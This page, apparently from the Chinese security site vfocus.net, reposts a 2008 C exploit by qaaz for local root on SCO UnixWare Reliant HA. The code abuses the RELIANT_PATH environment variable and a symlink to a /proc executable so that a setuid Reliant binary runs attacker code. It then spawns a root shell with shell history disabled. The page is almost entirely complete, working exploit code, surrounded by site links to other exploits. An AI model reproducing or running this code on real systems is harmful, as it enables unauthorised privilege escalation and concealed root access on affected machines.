首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SCO UnixWare Reliant HA Local Root Exploit
来源:www.vfocus.net 作者:qaaz 发布时间:2008-04-07  
/* 04/2008: public release
* I have'nt seen any advisory on this; possibly still not fixed.
*
* SCO UnixWare Reliant HA Local Root Exploit
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define TGT1 "/usr/opt/reliant/bin/hvdisp"
#define TGT2 "/usr/opt/reliant/bin/rcvm"
#define DIR "bin"
#define BIN DIR "/hvenv"

int main(int argc, char *argv[])
{
char self[4096], *target;
pid_t child;

if (geteuid() == 0) {
setuid(geteuid());
dup2(3, 0);
dup2(4, 1);
dup2(5, 2);
if ((child = fork()) == 0) {
putenv("HISTFILE=/dev/null");
execl("/bin/sh", "sh", "-i", NULL);
printf("[-] sh: %s\n", strerror(errno));
} else if (child != -1)
waitpid(child, NULL, 0);
kill(getppid(), 15);
return 1;
}

printf("----------------------------------------\n");
printf(" UnixWare Reliant HA Local Root Exploit\n");
printf(" By qaaz\n");
printf("----------------------------------------\n");

if (access(TGT1, EX_OK) == 0)
target = TGT1;
else if (access(TGT2, EX_OK) == 0)
target = TGT2;
else {
printf("[-] No targets found\n");
return 1;
}

sprintf(self, "/proc/%d/object/a.out", getpid());

if (mkdir(DIR, 0777) < 0 && errno != EEXIST) {
printf("[-] %s: %s\n", DIR, strerror(errno));
return 1;
}

if (symlink(self, BIN) < 0) {
printf("[-] %s: %s\n", BIN, strerror(errno));
rmdir(DIR);
return 1;
}

if ((child = fork()) == 0) {
char path[4096] = "RELIANT_PATH=";

dup2(0, 3);
dup2(1, 4);
dup2(2, 5);
putenv(strcat(path, getcwd(NULL, sizeof(path)-14)));
execl(target, target, NULL);
printf("[-] %s: %s\n", target, strerror(errno));
return 1;
} else if (child != -1)
waitpid(child, NULL, 0);

unlink(BIN);
rmdir(DIR);
return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SCO UnixWare < 7.1.4 p534589 (
·SCO UnixWare Merge mcd Local R
·Xitami Web Server v2.5c2 LRWP
·MS Visual Basic Enterprise Ed.
·Microsoft Visual InterDev 6.0
·Sun Solaris <= 10 rpc.ypupdate
·XnView 1.92.1 Slideshow (FontN
·Picture Rating 1.0 Blind SQL I
·Novel eDirectory HTTP Denial o
·Apache Tomcat Connector jk2-2.
·Mcafee EPO 4.0 FrameworkServic
·HP OpenView NNM 7.5.1 OVAS.exe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved